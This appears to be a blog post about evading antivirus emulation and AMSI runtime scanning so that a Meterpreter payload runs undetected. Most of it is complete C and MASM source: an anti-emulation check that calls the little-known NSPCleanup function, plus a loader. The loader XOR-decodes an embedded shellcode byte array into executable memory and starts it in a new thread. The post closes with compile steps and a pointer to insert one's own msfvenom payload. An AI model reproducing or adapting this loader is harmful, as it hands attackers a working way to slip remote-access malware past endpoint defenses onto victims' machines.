Another AMSI Bypass Runtime Scanning ft. Meterpreter
Here we go again. When developing malware, avoiding AMSI detection (static and dynamic analysis) is probably the easiest thing to do. Today I’ll demonstrate another one (dumb) method for avoiding AMSI detection (emulation and runtime).
In my last post, I explained how easy it is to bypass AMSI by just developing a brute force algorithm in order to decode a meterpreter payload. But I realized that I didn’t explain in detail how the emulation and the runtime scanning works. So I will try to explain it in this post.
First of all, no one talks about emulation analysis which is part of Antivirus static analysis . Besides the signature detection, the static analysis also does an emulation of the malware. Which means that the AV could detect malware if its cipher is a simple xor encoding. For instance, taking my last post as an example, I have the following code:
unsigned char key=0;
unsigned char lastKey=0;
unsigned char res=0x0;
while(res!=0xfc){
int N=0x85;int M=0x70;
srand(time(NULL));
key = rand () % (N-M+1) + M;
res = (unsigned char)((buf[0] ^ key));
//logs
if(lastKey!=key)
printf(">>test key: %x<<\n", key);
lastKey=key;
}
As you can see, I decoded the meterpreter payload using bruteforce with a key stored into unsigned char key
, but if I tried putting the key directly in the variable, it would look like this.
unsigned char key=0x80;
char * alloc = VirtualAlloc(NULL, dwSizeShellcode, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
for(int i=0;i<dwSizeShellcode;i++){
*(BYTE *)(alloc + i) = (*(BYTE *)(buf + i)) ^ key;
}
The antivirus most likely detected it as malware, and the reason is simple: some antiviruses can detect what you’re doing with memory, i.e., what kind of information you’re storing after any manipulation, such as xor encoding. In this case the variable alloc is storing the payload decoded so the antivirus are able to read it. And the key is precisaly that.. “almost”. If i try something like this:
char *lpMemory = VirtualAlloc(NULL,size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(lpMemory==0x200){
return 0;
}
We are trying to guess what value is retrieved by the function VirtualAlloc; but the antivirus knows that this sentence will be false, so the return will never happen. Now try to imagine the same functionallity but with any WinAPI function; the AV will “know” what the return value is for almost any function, so we must find a WinAPI function little known with a value different to 0 or somethig we cant predict. In order to do that, we could try to load different DLLs and test the functions. For instance, I found a function that returns -2 without passing any argument. So I built the next function:
void bypassEmulation(){
HMODULE hModule = LoadLibraryA("C:\\Windows\\System32\\wlidnsp.dll");
FARPROC addr = GetProcAddress(hModule, "NSPCleanup");
SysRunExec(addr);
}
I also created the SysRunExec function in MASM. Basically, it gets the function address and runs it. As you can see, the execution jumps to exitprocess if the return value of call rcx (rax)
is different from-2.
SysRunExec proc
call rcx
cmp rax, -2h
jl _wxExit
xor rax, rax
ret
_wxExit:
sub rsp, 40
mov rcx, 1
call ExitProcess
add rsp, 40
ret
SysRunExec endp
In the next video, you can see the whole process. First I compile the code without jumping into the bypass function, and the AV detects it as malware. The jump code (a WinAPI function) is then compiled, and it works.
syscall64.asm
public SysMetamorphic
EXTRN wnMain:PROC
EXTRN bypassEmulation: PROC
EXTRN ExitProcess: PROC
.code
SysRunExec proc
call rcx
cmp rax, -2h
jl _wxExit
xor rax, rax
ret
_wxExit:
sub rsp, 40
mov rcx, 1
call ExitProcess
add rsp, 40
ret
SysRunExec endp
SysMetamorphic proc
jmp wnMain
ret
SysMetamorphic endp
SysWrapper proc
sub rsp, 40
call bypassEmulation
add rsp, 40
NOP
NOP
NOP
xor eax, eax
mov eax, 5h
ret
SysWrapper endp
end
main.c
#include<windows.h>
#include<stdio.h>
#include<winternl.h>
#include<stdlib.h>
#include<time.h>
int SysMetamorphic(PVOID arg);
DWORD SysWrapper();
DWORD SysRunExec(FARPROC addr);
void bypassEmulation(){
HMODULE hModule = LoadLibraryA("C:\\Windows\\System32\\wlidnsp.dll");
FARPROC addr = GetProcAddress(hModule, "NSPCleanup");
SysRunExec(addr);
}
void wnMain(DWORD_PTR argv){
__int64 fArgv = *(unsigned __int64 *)argv;
char *sFilename = (char *) fArgv;
unsigned char buf[] = {0x7c,0xc8,0x3,0x64,0x70,0x68,0x40,0x80,0x80,0x80,0xc1,0xd1,0xc1,0xd0,0xd2,0xd1,0xd6,0xc8,0xb1,0x52,0xe5,0xc8,0xb,0xd2,0xe0,0xc8,0xb,0xd2,0x98,0xc8,0xb,0xd2,0xa0,0xc8,0xb,0xf2,0xd0,0xc8,0x8f,0x37,0xca,0xca,0xcd,0xb1,0x49,0xc8,0xb1,0x40,0x2c,0xbc,0xe1,0xfc,0x82,0xac,0xa0,0xc1,0x41,0x49,0x8d,0xc1,0x81,0x41,0x62,0x6d,0xd2,0xc1,0xd1,0xc8,0xb,0xd2,0xa0,0xb,0xc2,0xbc,0xc8,0x81,0x50,0xb,0x0,0x8,0x80,0x80,0x80,0xc8,0x5,0x40,0xf4,0xe7,0xc8,0x81,0x50,0xd0,0xb,0xc8,0x98,0xc4,0xb,0xc0,0xa0,0xc9,0x81,0x50,0x63,0xd6,0xc8,0x7f,0x49,0xc1,0xb,0xb4,0x8,0xc8,0x81,0x56,0xcd,0xb1,0x49,0xc8,0xb1,0x40,0x2c,0xc1,0x41,0x49,0x8d,0xc1,0x81,0x41,0xb8,0x60,0xf5,0x71,0xcc,0x83,0xcc,0xa4,0x88,0xc5,0xb9,0x51,0xf5,0x58,0xd8,0xc4,0xb,0xc0,0xa4,0xc9,0x81,0x50,0xe6,0xc1,0xb,0x8c,0xc8,0xc4,0xb,0xc0,0x9c,0xc9,0x81,0x50,0xc1,0xb,0x84,0x8,0xc8,0x81,0x50,0xc1,0xd8,0xc1,0xd8,0xde,0xd9,0xda,0xc1,0xd8,0xc1,0xd9,0xc1,0xda,0xc8,0x3,0x6c,0xa0,0xc1,0xd2,0x7f,0x60,0xd8,0xc1,0xd9,0xda,0xc8,0xb,0x92,0x69,0xd7,0x7f,0x7f,0x7f,0xdd,0xc9,0x3e,0xf7,0xf3,0xb2,0xdf,0xb3,0xb2,0x80,0x80,0xc1,0xd6,0xc9,0x9,0x66,0xc8,0x1,0x6c,0x20,0x81,0x80,0x80,0xc9,0x9,0x65,0xc9,0x3c,0x82,0x80,0xa3,0x2,0x40,0x28,0x81,0x94,0xc1,0xd4,0xc9,0x9,0x64,0xcc,0x9,0x71,0xc1,0x3a,0xcc,0xf7,0xa6,0x87,0x7f,0x55,0xcc,0x9,0x6a,0xe8,0x81,0x81,0x80,0x80,0xd9,0xc1,0x3a,0xa9,0x0,0xeb,0x80,0x7f,0x55,0xd0,0xd0,0xcd,0xb1,0x49,0xcd,0xb1,0x40,0xc8,0x7f,0x40,0xc8,0x9,0x42,0xc8,0x7f,0x40,0xc8,0x9,0x41,0xc1,0x3a,0x6a,0x8f,0x5f,0x60,0x7f,0x55,0xc8,0x9,0x47,0xea,0x90,0xc1,0xd8,0xcc,0x9,0x62,0xc8,0x9,0x79,0xc1,0x3a,0x19,0x25,0xf4,0xe1,0x7f,0x55,0xc8,0x1,0x44,0xc0,0x82,0x80,0x80,0xc9,0x38,0xe3,0xed,0xe4,0x80,0x80,0x80,0x80,0x80,0xc1,0xd0,0xc1,0xd0,0xc8,0x9,0x62,0xd7,0xd7,0xd7,0xcd,0xb1,0x40,0xea,0x8d,0xd9,0xc1,0xd0,0x62,0x7c,0xe6,0x47,0xc4,0xa4,0xd4,0x81,0x81,0xc8,0xd,0xc4,0xa4,0x98,0x46,0x80,0xe8,0xc8,0x9,0x66,0xd6,0xd0,0xc1,0xd0,0xc1,0xd0,0xc1,0xd0,0xc9,0x7f,0x40,0xc1,0xd0,0xc9,0x7f,0x48,0xcd,0x9,0x41,0xcc,0x9,0x41,0xc1,0x3a,0xf9,0x4c,0xbf,0x6,0x7f,0x55,0xc8,0xb1,0x52,0xc8,0x7f,0x4a,0xb,0x8e,0xc1,0x3a,0x88,0x7,0x9d,0xe0,0x7f,0x55,0x3b,0x70,0x35,0x22,0xd6,0xc1,0x3a,0x26,0x15,0x3d,0x1d,0x7f,0x55,0xc8,0x3,0x44,0xa8,0xbc,0x86,0xfc,0x8a,0x0,0x7b,0x60,0xf5,0x85,0x3b,0xc7,0x93,0xf2,0xef,0xea,0x80,0xd9,0xc1,0x9,0x5a,0x7f,0x55};
DWORD size = sizeof(buf);
char *lpMemory = VirtualAlloc(NULL,size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(lpMemory, buf, size);
unsigned char key=0x80;
char *pointer = malloc(size);
unsigned int n=0;
while(n<size){
*(BYTE *)(pointer + n) = (*(BYTE *)(buf + n))^key;
n++;
}
memcpy(lpMemory, pointer, size);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpMemory, NULL, 0, 0);
Sleep(1000);
printf("ERROR: %d\n", GetLastError());
}
int main(int argc, char *argv[]){
DWORD out = SysWrapper();
if(out==5){
SysMetamorphic(&argv);
}
return 0;
}
You have to compile the both files with cl.exe and ml.exe. and change buf with your msfvenom payload. There’s not much more to say. Avoiding AMSI detection in runtime scanning is still easy. In fact, this same process works with a few AV as well. So the next step is probably to try to get these “unknown” functions in runtime before launching the malware, but i think is too much work right now :D